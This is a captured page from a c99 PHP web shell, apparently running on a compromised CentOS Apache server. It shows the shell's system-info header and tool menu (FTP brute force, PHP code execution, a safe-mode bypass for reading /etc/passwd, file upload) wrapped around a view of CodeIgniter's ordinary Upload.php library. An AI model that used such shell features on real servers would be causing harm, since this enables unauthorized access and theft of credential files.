!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/system/libraries/   drwxr-xr-x
Free 51 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Upload.php (22.98 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');
/**
 * CodeIgniter
 *
 * An open source application development framework for PHP 5.1.6 or newer
 *
 * @package        CodeIgniter
 * @author        ExpressionEngine Dev Team
 * @copyright    Copyright (c) 2008 - 2011, EllisLab, Inc.
 * @license        http://codeigniter.com/user_guide/license.html
 * @link        http://codeigniter.com
 * @since        Version 1.0
 * @filesource
 */

// ------------------------------------------------------------------------

/**
 * File Uploading Class
 *
 * @package        CodeIgniter
 * @subpackage    Libraries
 * @category    Uploads
 * @author        ExpressionEngine Dev Team
 * @link        http://codeigniter.com/user_guide/libraries/file_uploading.html
 */
class CI_Upload {

    public 
$max_size                0;
    public 
$max_width                0;
    public 
$max_height                0;
    public 
$max_filename            0;
    public 
$allowed_types            "";
    public 
$file_temp                "";
    public 
$file_name                "";
    public 
$orig_name                "";
    public 
$file_type                "";
    public 
$file_size                "";
    public 
$file_ext                "";
    public 
$upload_path                "";
    public 
$overwrite                FALSE;
    public 
$encrypt_name            FALSE;
    public 
$is_image                FALSE;
    public 
$image_width                '';
    public 
$image_height            '';
    public 
$image_type                '';
    public 
$image_size_str            '';
    public 
$error_msg                = array();
    public 
$mimes                    = array();
    public 
$remove_spaces            TRUE;
    public 
$xss_clean                FALSE;
    public 
$temp_prefix                "temp_file_";
    public 
$client_name                '';

    protected 
$_file_name_override    '';

    
/**
     * Constructor
     *
     * @access    public
     */
    
public function __construct($props = array())
    {
        if (
count($props) > 0)
        {
            
$this->initialize($props);
        }

        
log_message('debug'"Upload Class Initialized");
    }

    
// --------------------------------------------------------------------

    /**
     * Initialize preferences
     *
     * @param    array
     * @return    void
     */
    
public function initialize($config = array())
    {
        
$defaults = array(
                            
'max_size'            => 0,
                            
'max_width'            => 0,
                            
'max_height'        => 0,
                            
'max_filename'        => 0,
                            
'allowed_types'        => "",
                            
'file_temp'            => "",
                            
'file_name'            => "",
                            
'orig_name'            => "",
                            
'file_type'            => "",
                            
'file_size'            => "",
                            
'file_ext'            => "",
                            
'upload_path'        => "",
                            
'overwrite'            => FALSE,
                            
'encrypt_name'        => FALSE,
                            
'is_image'            => FALSE,
                            
'image_width'        => '',
                            
'image_height'        => '',
                            
'image_type'        => '',
                            
'image_size_str'    => '',
                            
'error_msg'            => array(),
                            
'mimes'                => array(),
                            
'remove_spaces'        => TRUE,
                            
'xss_clean'            => FALSE,
                            
'temp_prefix'        => "temp_file_",
                            
'client_name'        => ''
                        
);


        foreach (
$defaults as $key => $val)
        {
            if (isset(
$config[$key]))
            {
                
$method 'set_'.$key;
                if (
method_exists($this$method))
                {
                    
$this->$method($config[$key]);
                }
                else
                {
                    
$this->$key $config[$key];
                }
            }
            else
            {
                
$this->$key $val;
            }
        }

        
// if a file_name was provided in the config, use it instead of the user input
        // supplied file name for all uploads until initialized again
        
$this->_file_name_override $this->file_name;
    }

    
// --------------------------------------------------------------------

    /**
     * Perform the file upload
     *
     * @return    bool
     */
    
public function do_upload($field 'userfile')
    {

    
// Is $_FILES[$field] set? If not, no reason to continue.
        
if ( ! isset($_FILES[$field]))
        {
            
$this->set_error('upload_no_file_selected');
            return 
FALSE;
        }

        
// Is the upload path valid?
        
if ( ! $this->validate_upload_path())
        {
            
// errors will already be set by validate_upload_path() so just return FALSE
            
return FALSE;
        }

        
// Was the file able to be uploaded? If not, determine the reason why.
        
if ( ! is_uploaded_file($_FILES[$field]['tmp_name']))
        {
            
$error = ( ! isset($_FILES[$field]['error'])) ? $_FILES[$field]['error'];

            switch(
$error)
            {
                case 
1:    // UPLOAD_ERR_INI_SIZE
                    
$this->set_error('upload_file_exceeds_limit');
                    break;
                case 
2// UPLOAD_ERR_FORM_SIZE
                    
$this->set_error('upload_file_exceeds_form_limit');
                    break;
                case 
3// UPLOAD_ERR_PARTIAL
                    
$this->set_error('upload_file_partial');
                    break;
                case 
4// UPLOAD_ERR_NO_FILE
                    
$this->set_error('upload_no_file_selected');
                    break;
                case 
6// UPLOAD_ERR_NO_TMP_DIR
                    
$this->set_error('upload_no_temp_directory');
                    break;
                case 
7// UPLOAD_ERR_CANT_WRITE
                    
$this->set_error('upload_unable_to_write_file');
                    break;
                case 
8// UPLOAD_ERR_EXTENSION
                    
$this->set_error('upload_stopped_by_extension');
                    break;
                default :   
$this->set_error('upload_no_file_selected');
                    break;
            }

            return 
FALSE;
        }


        
// Set the uploaded data as class variables
        
$this->file_temp $_FILES[$field]['tmp_name'];
        
$this->file_size $_FILES[$field]['size'];
        
$this->file_type preg_replace("/^(.+?);.*$/""\\1"$_FILES[$field]['type']);
        
$this->file_type strtolower(trim(stripslashes($this->file_type), '"'));
        
$this->file_name $this->_prep_filename($_FILES[$field]['name']);
        
$this->file_ext     $this->get_extension($this->file_name);
        
$this->client_name $this->file_name;

        
// Is the file type allowed to be uploaded?
        
if ( ! $this->is_allowed_filetype())
        {
            
$this->set_error('upload_invalid_filetype');
            return 
FALSE;
        }

        
// if we're overriding, let's now make sure the new name and type is allowed
        
if ($this->_file_name_override != '')
        {
            
$this->file_name $this->_prep_filename($this->_file_name_override);

            
// If no extension was provided in the file_name config item, use the uploaded one
            
if (strpos($this->_file_name_override'.') === FALSE)
            {
                
$this->file_name .= $this->file_ext;
            }

            
// An extension was provided, lets have it!
            
else
            {
                
$this->file_ext     $this->get_extension($this->_file_name_override);
            }

            if ( ! 
$this->is_allowed_filetype(TRUE))
            {
                
$this->set_error('upload_invalid_filetype');
                return 
FALSE;
            }
        }

        
// Convert the file size to kilobytes
        
if ($this->file_size 0)
        {
            
$this->file_size round($this->file_size/10242);
        }

        
// Is the file size within the allowed maximum?
        
if ( ! $this->is_allowed_filesize())
        {
            
$this->set_error('upload_invalid_filesize');
            return 
FALSE;
        }

        
// Are the image dimensions within the allowed size?
        // Note: This can fail if the server has an open_basdir restriction.
        
if ( ! $this->is_allowed_dimensions())
        {
            
$this->set_error('upload_invalid_dimensions');
            return 
FALSE;
        }

        
// Sanitize the file name for security
        
$this->file_name $this->clean_file_name($this->file_name);

        
// Truncate the file name if it's too long
        
if ($this->max_filename 0)
        {
            
$this->file_name $this->limit_filename_length($this->file_name$this->max_filename);
        }

        
// Remove white spaces in the name
        
if ($this->remove_spaces == TRUE)
        {
            
$this->file_name preg_replace("/\s+/""_"$this->file_name);
        }

        
/*
         * Validate the file name
         * This function appends an number onto the end of
         * the file if one with the same name already exists.
         * If it returns false there was a problem.
         */
        
$this->orig_name $this->file_name;

        if (
$this->overwrite == FALSE)
        {
            
$this->file_name $this->set_filename($this->upload_path$this->file_name);

            if (
$this->file_name === FALSE)
            {
                return 
FALSE;
            }
        }

        
/*
         * Run the file through the XSS hacking filter
         * This helps prevent malicious code from being
         * embedded within a file.  Scripts can easily
         * be disguised as images or other file types.
         */
        
if ($this->xss_clean)
        {
            if (
$this->do_xss_clean() === FALSE)
            {
                
$this->set_error('upload_unable_to_write_file');
                return 
FALSE;
            }
        }

        
/*
         * Move the file to the final destination
         * To deal with different server configurations
         * we'll attempt to use copy() first.  If that fails
         * we'll use move_uploaded_file().  One of the two should
         * reliably work in most environments
         */
        
if ( ! @copy($this->file_temp$this->upload_path.$this->file_name))
        {
            if ( ! @
move_uploaded_file($this->file_temp$this->upload_path.$this->file_name))
            {
                
$this->set_error('upload_destination_error');
                return 
FALSE;
            }
        }

        
/*
         * Set the finalized image dimensions
         * This sets the image width/height (assuming the
         * file was an image).  We use this information
         * in the "data" function.
         */
        
$this->set_image_properties($this->upload_path.$this->file_name);

        return 
TRUE;
    }

    
// --------------------------------------------------------------------

    /**
     * Finalized Data Array
     *
     * Returns an associative array containing all of the information
     * related to the upload, allowing the developer easy access in one array.
     *
     * @return    array
     */
    
public function data()
    {
        return array (
                        
'file_name'            => $this->file_name,
                        
'file_type'            => $this->file_type,
                        
'file_path'            => $this->upload_path,
                        
'full_path'            => $this->upload_path.$this->file_name,
                        
'raw_name'            => str_replace($this->file_ext''$this->file_name),
                        
'orig_name'            => $this->orig_name,
                        
'client_name'        => $this->client_name,
                        
'file_ext'            => $this->file_ext,
                        
'file_size'            => $this->file_size,
                        
'is_image'            => $this->is_image(),
                        
'image_width'        => $this->image_width,
                        
'image_height'        => $this->image_height,
                        
'image_type'        => $this->image_type,
                        
'image_size_str'    => $this->image_size_str,
                    );
    }

    
// --------------------------------------------------------------------

    /**
     * Set Upload Path
     *
     * @param    string
     * @return    void
     */
    
public function set_upload_path($path)
    {
        
// Make sure it has a trailing slash
        
$this->upload_path rtrim($path'/').'/';
    }

    
// --------------------------------------------------------------------

    /**
     * Set the file name
     *
     * This function takes a filename/path as input and looks for the
     * existence of a file with the same name. If found, it will append a
     * number to the end of the filename to avoid overwriting a pre-existing file.
     *
     * @param    string
     * @param    string
     * @return    string
     */
    
public function set_filename($path$filename)
    {
        if (
$this->encrypt_name == TRUE)
        {
            
mt_srand();
            
$filename md5(uniqid(mt_rand())).$this->file_ext;
        }

        if ( ! 
file_exists($path.$filename))
        {
            return 
$filename;
        }

        
$filename str_replace($this->file_ext''$filename);

        
$new_filename '';
        for (
$i 1$i 100$i++)
        {
            if ( ! 
file_exists($path.$filename.$i.$this->file_ext))
            {
                
$new_filename $filename.$i.$this->file_ext;
                break;
            }
        }

        if (
$new_filename == '')
        {
            
$this->set_error('upload_bad_filename');
            return 
FALSE;
        }
        else
        {
            return 
$new_filename;
        }
    }

    
// --------------------------------------------------------------------

    /**
     * Set Maximum File Size
     *
     * @param    integer
     * @return    void
     */
    
public function set_max_filesize($n)
    {
        
$this->max_size = ((int) $n 0) ? 0: (int) $n;
    }

    
// --------------------------------------------------------------------

    /**
     * Set Maximum File Name Length
     *
     * @param    integer
     * @return    void
     */
    
public function set_max_filename($n)
    {
        
$this->max_filename = ((int) $n 0) ? 0: (int) $n;
    }

    
// --------------------------------------------------------------------

    /**
     * Set Maximum Image Width
     *
     * @param    integer
     * @return    void
     */
    
public function set_max_width($n)
    {
        
$this->max_width = ((int) $n 0) ? 0: (int) $n;
    }

    
// --------------------------------------------------------------------

    /**
     * Set Maximum Image Height
     *
     * @param    integer
     * @return    void
     */
    
public function set_max_height($n)
    {
        
$this->max_height = ((int) $n 0) ? 0: (int) $n;
    }

    
// --------------------------------------------------------------------

    /**
     * Set Allowed File Types
     *
     * @param    string
     * @return    void
     */
    
public function set_allowed_types($types)
    {
        if ( ! 
is_array($types) && $types == '*')
        {
            
$this->allowed_types '*';
            return;
        }
        
$this->allowed_types explode('|'$types);
    }

    
// --------------------------------------------------------------------

    /**
     * Set Image Properties
     *
     * Uses GD to determine the width/height/type of image
     *
     * @param    string
     * @return    void
     */
    
public function set_image_properties($path '')
    {
        if ( ! 
$this->is_image())
        {
            return;
        }

        if (
function_exists('getimagesize'))
        {
            if (
FALSE !== ($D = @getimagesize($path)))
            {
                
$types = array(=> 'gif'=> 'jpeg'=> 'png');

                
$this->image_width        $D['0'];
                
$this->image_height        $D['1'];
                
$this->image_type        = ( ! isset($types[$D['2']])) ? 'unknown' $types[$D['2']];
                
$this->image_size_str    $D['3'];  // string containing height and width
            
}
        }
    }

    
// --------------------------------------------------------------------

    /**
     * Set XSS Clean
     *
     * Enables the XSS flag so that the file that was uploaded
     * will be run through the XSS filter.
     *
     * @param    bool
     * @return    void
     */
    
public function set_xss_clean($flag FALSE)
    {
        
$this->xss_clean = ($flag == TRUE) ? TRUE FALSE;
    }

    
// --------------------------------------------------------------------

    /**
     * Validate the image
     *
     * @return    bool
     */
    
public function is_image()
    {
        
// IE will sometimes return odd mime-types during upload, so here we just standardize all
        // jpegs or pngs to the same file type.

        
$png_mimes  = array('image/x-png');
        
$jpeg_mimes = array('image/jpg''image/jpe''image/jpeg''image/pjpeg');

        if (
in_array($this->file_type$png_mimes))
        {
            
$this->file_type 'image/png';
        }

        if (
in_array($this->file_type$jpeg_mimes))
        {
            
$this->file_type 'image/jpeg';
        }

        
$img_mimes = array(
                            
'image/gif',
                            
'image/jpeg',
                            
'image/png',
                        );

        return (
in_array($this->file_type$img_mimesTRUE)) ? TRUE FALSE;
    }

    
// --------------------------------------------------------------------

    /**
     * Verify that the filetype is allowed
     *
     * @return    bool
     */
    
public function is_allowed_filetype($ignore_mime FALSE)
    {
        if (
$this->allowed_types == '*')
        {
            return 
TRUE;
        }

        if (
count($this->allowed_types) == OR ! is_array($this->allowed_types))
        {
            
$this->set_error('upload_no_file_types');
            return 
FALSE;
        }

        
$ext strtolower(ltrim($this->file_ext'.'));

        if ( ! 
in_array($ext$this->allowed_types))
        {
            return 
FALSE;
        }

        
// Images get some additional checks
        
$image_types = array('gif''jpg''jpeg''png''jpe');

        if (
in_array($ext$image_types))
        {
            if (
getimagesize($this->file_temp) === FALSE)
            {
                return 
FALSE;
            }
        }

        if (
$ignore_mime === TRUE)
        {
            return 
TRUE;
        }

        
$mime $this->mimes_types($ext);

        if (
is_array($mime))
        {
            if (
in_array($this->file_type$mimeTRUE))
            {
                return 
TRUE;
            }
        }
        elseif (
$mime == $this->file_type)
        {
                return 
TRUE;
        }

        return 
FALSE;
    }

    
// --------------------------------------------------------------------

    /**
     * Verify that the file is within the allowed size
     *
     * @return    bool
     */
    
public function is_allowed_filesize()
    {
        if (
$this->max_size != 0  AND  $this->file_size $this->max_size)
        {
            return 
FALSE;
        }
        else
        {
            return 
TRUE;
        }
    }

    
// --------------------------------------------------------------------

    /**
     * Verify that the image is within the allowed width/height
     *
     * @return    bool
     */
    
public function is_allowed_dimensions()
    {
        if ( ! 
$this->is_image())
        {
            return 
TRUE;
        }

        if (
function_exists('getimagesize'))
        {
            
$D = @getimagesize($this->file_temp);

            if (
$this->max_width AND $D['0'] > $this->max_width)
            {
                return 
FALSE;
            }

            if (
$this->max_height AND $D['1'] > $this->max_height)
            {
                return 
FALSE;
            }

            return 
TRUE;
        }

        return 
TRUE;
    }

    
// --------------------------------------------------------------------

    /**
     * Validate Upload Path
     *
     * Verifies that it is a valid upload path with proper permissions.
     *
     *
     * @return    bool
     */
    
public function validate_upload_path()
    {
        if (
$this->upload_path == '')
        {
            
$this->set_error('upload_no_filepath');
            return 
FALSE;
        }

        if (
function_exists('realpath') AND @realpath($this->upload_path) !== FALSE)
        {
            
$this->upload_path str_replace("\\""/"realpath($this->upload_path));
        }

        if ( ! @
is_dir($this->upload_path))
        {
            
$this->set_error('upload_no_filepath');
            return 
FALSE;
        }

        if ( ! 
is_really_writable($this->upload_path))
        {
            
$this->set_error('upload_not_writable');
            return 
FALSE;
        }

        
$this->upload_path preg_replace("/(.+?)\/*$/""\\1/",  $this->upload_path);
        return 
TRUE;
    }

    
// --------------------------------------------------------------------

    /**
     * Extract the file extension
     *
     * @param    string
     * @return    string
     */
    
public function get_extension($filename)
    {
        
$x explode('.'$filename);
        return 
'.'.end($x);
    }

    
// --------------------------------------------------------------------

    /**
     * Clean the file name for security
     *
     * @param    string
     * @return    string
     */
    
public function clean_file_name($filename)
    {
        
$bad = array(
                        
"<!--",
                        
"-->",
                        
"'",
                        
"<",
                        
">",
                        
'"',
                        
'&',
                        
'$',
                        
'=',
                        
';',
                        
'?',
                        
'/',
                        
"%20",
                        
"%22",
                        
"%3c",        // <
                        
"%253c",    // <
                        
"%3e",        // >
                        
"%0e",        // >
                        
"%28",        // (
                        
"%29",        // )
                        
"%2528",    // (
                        
"%26",        // &
                        
"%24",        // $
                        
"%3f",        // ?
                        
"%3b",        // ;
                        
"%3d"        // =
                    
);

        
$filename str_replace($bad''$filename);

        return 
stripslashes($filename);
    }

    
// --------------------------------------------------------------------

    /**
     * Limit the File Name Length
     *
     * @param    string
     * @return    string
     */
    
public function limit_filename_length($filename$length)
    {
        if (
strlen($filename) < $length)
        {
            return 
$filename;
        }

        
$ext '';
        if (
strpos($filename'.') !== FALSE)
        {
            
$parts        explode('.'$filename);
            
$ext        '.'.array_pop($parts);
            
$filename    implode('.'$parts);
        }

        return 
substr($filename0, ($length strlen($ext))).$ext;
    }

    
// --------------------------------------------------------------------

    /**
     * Runs the file through the XSS clean function
     *
     * This prevents people from embedding malicious code in their files.
     * I'm not sure that it won't negatively affect certain files in unexpected ways,
     * but so far I haven't found that it causes trouble.
     *
     * @return    void
     */
    
public function do_xss_clean()
    {
        
$file $this->file_temp;

        if (
filesize($file) == 0)
        {
            return 
FALSE;
        }

        if (
function_exists('memory_get_usage') && memory_get_usage() && ini_get('memory_limit') != '')
        {
            
$current ini_get('memory_limit') * 1024 1024;

            
// There was a bug/behavioural change in PHP 5.2, where numbers over one million get output
            // into scientific notation.  number_format() ensures this number is an integer
            // http://bugs.php.net/bug.php?id=43053

            
$new_memory number_format(ceil(filesize($file) + $current), 0'.''');

            
ini_set('memory_limit'$new_memory); // When an integer is used, the value is measured in bytes. - PHP.net
        
}

        
// If the file being uploaded is an image, then we should have no problem with XSS attacks (in theory), but
        // IE can be fooled into mime-type detecting a malformed image as an html file, thus executing an XSS attack on anyone
        // using IE who looks at the image.  It does this by inspecting the first 255 bytes of an image.  To get around this
        // CI will itself look at the first 255 bytes of an image to determine its relative safety.  This can save a lot of
        // processor power and time if it is actually a clean image, as it will be in nearly all instances _except_ an
        // attempted XSS attack.

        
if (function_exists('getimagesize') && @getimagesize($file) !== FALSE)
        {
            if ((
$file = @fopen($file'rb')) === FALSE// "b" to force binary
            
{
                return 
FALSE// Couldn't open the file, return FALSE
            
}

            
$opening_bytes fread($file256);
            
fclose($file);

            
// These are known to throw IE into mime-type detection chaos
            // <a, <body, <head, <html, <img, <plaintext, <pre, <script, <table, <title
            // title is basically just in SVG, but we filter it anyhow

            
if ( ! preg_match('/<(a|body|head|html|img|plaintext|pre|script|table|title)[\s>]/i'$opening_bytes))
            {
                return 
TRUE// its an image, no "triggers" detected in the first 256 bytes, we're good
            
}
        }

        if ((
$data = @file_get_contents($file)) === FALSE)
        {
            return 
FALSE;
        }

        
$CI =& get_instance();
        return 
$CI->security->xss_clean($dataTRUE);
    }

    
// --------------------------------------------------------------------

    /**
     * Set an error message
     *
     * @param    string
     * @return    void
     */
    
public function set_error($msg)
    {
        
$CI =& get_instance();
        
$CI->lang->load('upload');

        if (
is_array($msg))
        {
            foreach (
$msg as $val)
            {
                
$msg = ($CI->lang->line($val) == FALSE) ? $val $CI->lang->line($val);
                
$this->error_msg[] = $msg;
                
log_message('error'$msg);
            }
        }
        else
        {
            
$msg = ($CI->lang->line($msg) == FALSE) ? $msg $CI->lang->line($msg);
            
$this->error_msg[] = $msg;
            
log_message('error'$msg);
        }
    }

    
// --------------------------------------------------------------------

    /**
     * Display the error message
     *
     * @param    string
     * @param    string
     * @return    string
     */
    
public function display_errors($open ''$close '')
    {
        
$str '';
        foreach (
$this->error_msg as $val)
        {
            
$str .= $open.$val.$close;
        }

        return 
$str;
    }

    
// --------------------------------------------------------------------

    /**
     * List of Mime Types
     *
     * This is a list of mime types.  We use it to validate
     * the "allowed types" set by the developer
     *
     * @param    string
     * @return    string
     */
    
public function mimes_types($mime)
    {
        global 
$mimes;

        if (
count($this->mimes) == 0)
        {
            if (
defined('ENVIRONMENT') AND is_file(APPPATH.'config/'.ENVIRONMENT.'/mimes'.EXT))
            {
                include(
APPPATH.'config/'.ENVIRONMENT.'/mimes'.EXT);
            }
            elseif (
is_file(APPPATH.'config/mimes'.EXT))
            {
                include(
APPPATH.'config//mimes'.EXT);
            }
            else
            {
                return 
FALSE;
            }

            
$this->mimes $mimes;
            unset(
$mimes);
        }

        return ( ! isset(
$this->mimes[$mime])) ? FALSE $this->mimes[$mime];
    }

    
// --------------------------------------------------------------------

    /**
     * Prep Filename
     *
     * Prevents possible script execution from Apache's handling of files multiple extensions
     * http://httpd.apache.org/docs/1.3/mod/mod_mime.html#multipleext
     *
     * @param    string
     * @return    string
     */
    
protected function _prep_filename($filename)
    {
        if (
strpos($filename'.') === FALSE OR $this->allowed_types == '*')
        {
            return 
$filename;
        }

        
$parts        explode('.'$filename);
        
$ext        array_pop($parts);
        
$filename    array_shift($parts);

        foreach (
$parts as $part)
        {
            if ( ! 
in_array(strtolower($part), $this->allowed_types) OR $this->mimes_types(strtolower($part)) === FALSE)
            {
                
$filename .= '.'.$part.'_';
            }
            else
            {
                
$filename .= '.'.$part;
            }
        }

        
$filename .= '.'.$ext;

        return 
$filename;
    }

    
// --------------------------------------------------------------------

}
// END Upload Class

/* End of file Upload.php */
/* Location: ./system/libraries/Upload.php */

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0079 ]--